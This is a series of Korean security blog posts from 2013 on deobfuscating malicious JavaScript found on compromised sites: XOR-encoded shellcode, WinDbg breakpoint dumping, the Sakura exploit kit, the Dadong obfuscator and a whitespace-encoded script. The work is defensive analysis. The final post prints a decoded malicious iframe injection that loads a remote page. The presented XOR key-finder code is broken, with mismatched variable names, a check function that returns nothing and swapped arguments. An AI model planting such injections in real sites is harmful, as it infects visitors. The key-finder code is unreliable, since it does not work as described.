2013년 5월 18일 토요일

암호화된 쉘코드에서 다운로드 받는 악성 URL 찾는 방법

최근 언론사 및 학교 등등의 웹페이지가 변조되어서 난독화된 악성 스크립트가 삽입된 경우가 많습니다.

해당 스크립트는 취약점에 의해서 쉘코드(ShellCode)를 실행하여 악성 URL에서 파일을 다운로드 및 실행함으로 악성코드를 감염시킵니다.

여기서 사용된 쉘코드는 보통 16진수 유니코드로 작성되었습니다.

자바 스크립트에서는 16진수 유니코드를 "%u" 다음에 16진수가 덧붙이는 방식으로 표현합니다. 이렇게 표현된 쉘코드는 XOR 연산 방식으로 암호화되었습니다. 이점은 악성 코드 대응하는 입장에서 신속히 악성 URL을 확인할 수 없게 합니다.

따라서 이번 글에서는 XOR 연산 방식으로 암호화된 16진수 유니코드 쉘코드에서 악성 URL을 찾는 방법을 소개합니다.

먼저 방법을 소개하고 자바 스크립트로 구현해보겠습니다.

원리는 간단합니다. 쉘코드에는 악성 URL이 하드 코딩되어 있습니다. 말그대로 http://악성url 이런형식으로 쉘코드에 들어있다는 얘기입니다.

따라서 0x00 ~ 0xFF 까지 값과 각 바이너리(2byte)를 XOR 연산해준 값의 전체에서 http 문자열이 존재하는지 찾는 것입니다.
예를 들어, 0xBF로 XOR 연산하였을 때 해당 쉘코드에서 http 문자열이 발견되면, 그 값이 암호화 키값이 되는것입니다.

이제부터 소개된 방법을 자바스크립트로 작성하면서 보여주겠습니다.

1) "%u%" 형식으로 표기된 쉘코드가 있습니다.

2) 해당 쉘코드를 실제로 사용되는 코드로 변경해야합니다.
즉, "%u"를 제거하고 리틀-엔디안 방식으로 표기해야합니다.
예를 들면, "%uE1D9" -> "D9E1" 이렇게 변경되어야 합니다.

3) 리틀-엔디안 방식으로 표기된 쉘코드의 각 바이너리 2Byte를 0x00 ~ 0xFF 값과 XOR 연산한 다음 http 문자열이 존재하는지 찾습니다. 찾으면 악성 URL을 출력해줍니다. 관련 코드는 다음과 같습니다.

decode = function(shellcode, key) // 해당 함수에서 xor 연산한다.
{
s = "";
for (var i=0; i<shellcode.length; i+=2){   // 문자 2자리씩 For 루프가 돈다.
str = code.charAt(i) + code.charAt(i+1);  // 문자 2자리씩 가져와서 str 변수에 담는다.
c = String.fromCharCode(parseInt(shellcode, 16) ^ key); // 문자열 2자리씩 가져와서 유니코드를 일반 문자열로 변환한다.
s += c;     // 변환된 문자열을 s 변수에 담는다.
}
return s;}

findKey = function(code) // 해당 함수에서 XOR 암호화에 사용된 키를 찾는다.
{
for(var key = 0 ; key <= 255 ; key++) // 0x00 ~ 0xFF 값과 XOR 연산을 한다.
{
sh = escape(decode(shellcode, key));
if(isKeyMatch(sh)) // 어떤 키 값에 http 문자열이 존재하는지 찾는다.
{
return key;
}
}
}

isKeyMatch = function(shellcode) { // 해당 함수는 쉘코드에서 http 문자열 존재 여부를 확인한다.
re = /http%3A\/{0,3}[\/0-9.\-A-Za-z]+\+/gm;
url = re.test(shellcode); // 정규표현식을 사용하여 쉘코드에서 http 문자열 존재 여부를 확인한다.
}

urlFilter = function (shellcode, key) { // 해당 함수는 쉘코드에서 http 문자열을 파싱한다.
re = /http%3A\/{0,3}[\/0-9.\-A-Za-z]+\+/gm;
url = escape(decode(key, shellcode));
url = unescape(re.exec(url));
return url;
}

위에 작성된 코드는 다음과 같은 순서로 동작합니다.

urlFilter -> findKey -> decode -> isKeyMatch

실제로 소개된 쉘코드의 악성 URL을 다음과 같이 확인할 수 있었습니다.

그럼 해당 글을 읽어주셔서 감사합니다.


2013년 5월 16일 목요일

Windbg 툴을 이용한 자바 스크립트 난독화 푸는 방법

Windbg 툴은 커널단에서 디버깅이 가능하게 해주는 툴입니다.

해당 툴을 이용하면 난독화 해제가 가능합니다.

인터넷 익스플로러 웹브라우저에서는 jscript.dll에서 제공해주는 함수 - COleScript::Compile - 를 통해서 자바 스크립트 코드를 해석하여 화면에 출력해줍니다.

자바 스크립트 코드가 제아무리 심하게 난독화 되어 있더라도 해당 코드는 인터프리터 방식으로 해석되어 실행되어지기 때문에 결국에는 난독화가 풀린 코드가 실행되어 지는 것입니다. 이처럼 코드를 해석하는 함수가 바로 COleScript::Compile 입니다.

우리는 Windbg 툴을 이용하여 jscript.dll의 COleScript::Compile 함수에 조건부 브레이크포인터를 건뒤 인자를 확인하는 방법으로 난독화가 해제된 코드를 확인 할 수 있습니다.

다음과 같습니다.

1) 먼저 확인할 난독화 자바 스크립트 코드입니다.



2) iexplorer.exe를 이용하여 해당 HTML 문서를 실행시킵니다. 그렇게 하면 해당 스크립트 코드를 실행할 것인지 묻는 경고창이 보입니다. 이때 Windbg 툴을 이용하여 iexplorer.exe 프로세스를 Attach 시킵니다.

3) iexplorer.exe 프로세스가 Attach 한 다음, Windbg툴의 Commmand창에 다음과 같은 명령을 내립니다.
bu jscript!COleScript::Compile

- 위의 명령은 jscript.dll 파일의 COleScript::Compile 함수에 브레이크 포인터를 거는 것입니다.
그렇게 한 다음 해당 HTML 문서를 실행시키면 다음과 같이 브레이크 포인터가 걸린 것을 확인 할 수 있습니다.



그러면 이번엔 다음과 같이 명령을 줍니다.
bu jscript!COleScript::Compile "dt wchar_t* esp+8; gc"

- 위의 명령은 전에 내린 명령과 동일하게  jscript.dll 파일의 COleScript::Compile 함수에 브레이크 포인터를 거는 것이지만, 조건부 브레이크 포인터를 거는 것입니다.
조건부? 무슨 조건일까요? esp 레지스터의 0x8h 위치의 값(해당 값의 타입은 wchar_t*)을 출력해주라는 것입니다. 해당 값은 바로 우리가 원하는 난독화가 해제된 코드입니다.
다음과 같습니다.

이러한 방법을 이용하면 어떤 난독화 코드든 인터넷 익스플로러 웹브라우저에서 실행가능한 코드라면 무엇이든지 난독화가 풀린 코드를 확인할 수 있습니다.

이 아이디어는 실제로 몇해전 블랙햇 컨퍼런스에도 소개된 바 있습니다. 실제로 해당 아이디어를 이용한 툴도 존재하지만, 특정 인터넷 익스플로러 웹브라우저 버전에서만 동작합니다.
최근 나온 난독화 자바 스크립트는 해당 버전에서는 실행이 안되므로 그 툴은 현재 유용하지 않더군요. 따라서 해당 툴을 고쳐서 사용해야 하는데 고치는 방법은 결론부터 말하자면, jscript.dll 파일의 COleScript::Compile 함수의 주소를 자신이 사용하는 웹브라우저 버전에 맞게 고쳐줘야합니다. 그러면 해당 함수를 inline hooking하여 난독화 해제된 코드를 파일로 저장하여 볼 수 있습니다.
이렇게 고쳐서 사용하고 싶지만 현재 프로그래밍 실력이 부족하여 그리할 수없습니다.
혹시 이 글을 읽고 계신분중에 해당 툴에 관심있으시면 댓글에 E-Mail 주소를 남겨주시기 바랄께요. 그럼 이만, 부족한 글을 읽어주셔서 감사합니다.

2013년 5월 14일 화요일

사쿠라툴킷 난독화 분석

 사쿠라 툴킷 난독화 분석

1.      Sakura Exploit Toolkit 이란?
악성코드 유포에 이용되는 Web exploit Toolkit 중 하나이다. 국내에서는 많이 알려져 있지 않지만, 2012년 이뤄진 사이버 공격 유형에서 2위(22%)를 차지하고 있다. 블랙홀 툴킷과 마찬가지고 pdf, java 등 다양한 취약점을 이용한다.

[그림 1] 2012년 발생한 툴킷 유형 (ETNEWS 기사 내용 중)


2.      Sakura Toolkit의 난독화
지인을 통하여 구하게 된 사쿠라 툴킷 샘플은 JAVA 취약점을 이용한 부분만 분석이 가능하였다.Html의 input tag의 value 값을 자바스크립트의 함수로 복호화 하는 형식을 기본적으로 가지고 있으며, 독특한 점 스크립트의 특정 데이터를 자바(.Jar)파일의 Main.Class에서 복호화하여 동작하는 것이다.


3.      Sakura Toolkit의 난독화 분석
분석한 샘플은 지인(설원)이 제공해준 것으로 사쿠라 툴킷 중 일부에 대한 것이며 분석 시 악성 URL은 재현되지 않아 가능한 부분만 분석하였다.

3.1 Sakura Toolkit의 구조
[그림 2] Sakura Toolkit의 구조


3.2 난독화 스크립트 분석

3.2.1 난독화 분석 1 (‘데이터 A’ 부분 분석)
[그림 3] ‘데이터 A’ 부분과 관련 스크립트 정리
1)    데이터 A’ 부분과 ‘데이터 A’ 복호화 스크립트 부분만 분리한다.
2)    input 부분의 value를 function hyurls(n)으로 복호화하는 형태로 구성되어 있다.
3)    복호화된 데이터가 q 변수에 저장되기 때문에 그림에서 방법 또는 ② 방법으로 값에
 저장되는 데이터를 확인 할 수 있다.

[그림 4] ‘데이터 A’ 부분 복호화 결과

3.2.2 난독화 분석 2

- ‘데이터 A’ 복호화된 부분 추가 분석
[그림 5] 1차 결과 추가 분석
1)    데이터 A’ 복호화 부분은 if절을 사용하여 java 버전에 따라 동작하도록 구성되어 있다
2)    document.write를 사용하고 있고, 빨간 박스 부분은 base64로 인코딩되어 있다.

- base64 decoding
[그림 6] malzilla를 이용한 base64 decoding

- document.write 적용 후 정리
[그림 7] document.write와 base64 디코딩 후 모습
1)    정리된 데이터를 보면 의 value 값 난독화된 문자로 된 것을 확인 할 수 있다.
2)    의 부분을 보고 Main.class에서 해당 부분을 복호화 한다는 힌트를 얻을 수 있었다

- Java Decompiler를 이용한 Main.class 분석
[그림 8] Java Decompiler로 Main.class 확인
1)    샘플에 포함된 자바(.jar)파일을 Java Decompiler로 확인한다.
2)    Main.class 확인 시 복호화 시 이용될 듯한 함수를 찾을 수 있었다.
3)    의 부분을 보고 Main.class에서 해당 부분을 복호화 한다는 힌트를 얻을 수 있었다

- Main.class 코드를 이용한 난독화 해지
[그림 9] 코드 수정
1)    자바스크립트로 복호화를 하기 위해 Main.class의 함수를 [그림 9] 처럼 수정한다.
2)    난독화된 데이터를 s 변수로 삽입하고 결과값을 alert을 이용하여 확인한다.

[그림 10] 최종 결과 값
확인된 URL은 재현되지 않아 추가 분석은 불가능 하였다.

3.3 PluginDectect (0.8.0) 정보
PluginDectect 부분은 블랙홀 툴킷에서도 자주 보았던 부분으로 java, pdf, flash 등 다양한 Plugin 정보를 수집해 주는 스크립트다. 이 수집된 정보를 통해 공격코드에서 취약점이 존재하는 부분을 공격하여 악성행위를 하게 된다.

해당 스크립트는 아래의 사이트에서 누구나 쉽게 원하는 부분만 포함하여 제작할 수 있다.

- http://www.pinlady.net/PluginDetectArchive/0.8.0/download/

3.4 PDF 취약점 관련 부분 (재현되지 않아, 다음 기회 ~ ㅠㅠ)

2013년 5월 6일 월요일

Dadong’s JSXX 0.44 VIP Part II

1.    카후시큐리티(kahusecurity.com) 복호화 방법 재현

1)     카후시큐리티 소개
 - 난독화 등 Malicious 컨텐츠를 분석하여 공유하는 보안프로젝트 그룹으로,
   다른 분석가들보다 빠르고 창의적인 방법으로 분석하는 것으로 유명하다

 [참고] Java 0-Day Using Latest Dadong’s JS Obfuscator
2)     카후시큐리티의 Dadong’s JS Obfuscator 복호화 방법 소개
     Dadong’s 0.44 실행 시 스크립트의 복호화 기능이 특정 변수에 저장되는 것을 이용
     변수에 ‘alert’ 등의 자신의 코드를 삽입하여 복호화 시도
     Dadong’s 0.44의 변조방지기능 때문에 복호화 부분은 수정하지 않고, 데이터
    부분에서 실행 함수가 저장되는 변수 부분을 변조하여 난독화 해지
  ☞ 상세내용은 [참고 2]에서 확인 할 수 있습니다

3)     카후시큐리티 복호화 방법 따라하기
     스크립트를 실행하는 함수가 저장되는 변수 확인

  
[그림 1] 스크립트를 실행하는 함수가 저장된 변수 확인 

    난독화된 데이터의 첫 부분 복호화 시 아래의 그림처럼 변화는 것을 확인


 [그림 2] 난독화된 코드의 일부 복호화


     ‘PDIK6’ 변수에 실행함수가 저장되므로 ‘PDIK6=alert’으로 임의로 수정하여 복호화된 데이터를 경고창으로 확인 한다
    (변조방지기능 때문에 난독화된 데이터 부분 수정 시도)

≫ 데이터의 길이를 유지하기 위해 공백을 이용하여 글자수를 맞춘다
   PDIK6=pVYAmQ8;
   PDIK6=alert     ;
≫ 난독화된 데이터 패턴을 계산하여 ‘PDIK6=alert     ;’의 값을 구한다
PDIK6=pVYAmQ8;      25491BC74F2C0BE6245412E5B922
PDIK6=alert     ;        25491BC74F2C1ADC18670B94A122

     Dadong’s 0.44 패턴으로 변환해주는 간단한 툴을 이용하여 코드 변경

[그림 3] 실제 코드 정상 변환여부 확인

[그림 4] 코드 변경 후 변환


     ‘PDIK6=alert’을 난독화한 데이터를 원래 데이터 부분에 삽입한다
[그림 5] 수정된 난독화 코드 삽입

     스크립트를 실행하면 첫 부분이 변경된 복호화된 스크립트를 확인 할 수 있다


[그림 6] 코드 변조를 통한 복호화 결과

2013년 5월 4일 토요일

아스키코드 0X20(Space) 0X09(Tab) 을 이용하는 악성 스크립트



□ 공백(Space,Tab) 을 이용하는 악성 스크립트

HEX=0X20 , 0X09 를 이용하여 백신 진단을 우회하기 위해 쓰였으며 일반 익스플로러에서
소스 보기를 한다면 공백으로 보일 수 밖에 없게 만들었다.

* HEX = 0X20 = SPACE : 네이버 지식사전
* HEX = 0X09 = 탭 코드 [tab code]: 네이버 지식사전
  

국내에서는 몇몇 사이트에서 유포가 되었지만 공다팩과, CK Vip, YSZZ에 비해서는 사용 빈도가 아주 적다.

어느 한 사이트에서 유포되고 있는 공백 스크립트다. 서두에서 설명 했듯이 익스플로러에서 소스 보기를 통해 볼때 이와 같이 공백이 보인다.

과연 이것은 어떤 비밀을 가지고 있을까?


그렇다면 수상하다 함수는 있는데 왜? 문자는 없을까?
Hex Editor 를 통해 확인 해보자.


코드를 보니 (.) , (SPACE) 가 무척 많다. 이것들이 무언가 계산을 통해서 일반 10진수를 통해 변할 수 있을꺼 같다.

윗부분에 한번 스크립트를 확인해 보자.

 function RDfADFLDEXDFu5(s)
 {
   var r = new Array();
   var curr = 0;
   while(s.charAt(curr) != '\n') // \n TAB으로 정의를 한것을 보인다.
   {
     var tmp = 0; // tmp = 0 부터 시작
     for (var i=6; //  i = 6 일때
     i>=0 ; // i = 0보다 크거나 같을때 루프
     i-- ) // i-- 계산을 해준다.
     {
       if (s.charAt(curr) == ' ') // if (s.charAt(curr) == ' ') 스페이스로 정의를 한것을 보인다.
       {
         tmp = tmp | (Math.pow(2,i)); // Math.pow 제곱함수 ex) Math.pow(4,2) 16 이 된다
       }
       curr++;
     }
     r.push(String.fromCharCode(tmp)); // tmp를 유니코드로 출력
   }
   return r.join('');
 }

이 모든것들은 tmp 라는 함수에 담기게 되어서 아스키코드로 변신을 하게 된다.
모든 것들이 tmp 변수라는 것에 모아졌다면 디코딩은 간단하다.

1. alert 를 이용한 출력

 r.push(String.fromCharCode(tmp)); ->  r.push(alert(String.fromCharCode(tmp)));




이런식으로 계속 아스키코드가 이어집니다....... 하지만 일일이 받아적기에는 너무 많습니다.

2. document.write 를 이용한 출력

 r.push(String.fromCharCode(tmp)); 
->  r.push(document.write(String.fromCharCode(tmp)));

document.write(unescape("%3Ciframe[생략]%3E"));

->document.write(unescape("<iframe src=http://www.e[생략]l.com:8080/data/rental/board/pds/news/[생략]3.html width=100 height=0></iframe>"));

한번에 알아 볼 수 있게 출력을 해줍니다.

* 지금은 공다팩에 밀려서 주목 받지 못하지만 언젠가는 또 쓰일 날이 있기에 적어 둡니다.
  아직은 모자르지만 글을 끝까지 읽어주셔서 감사합니다.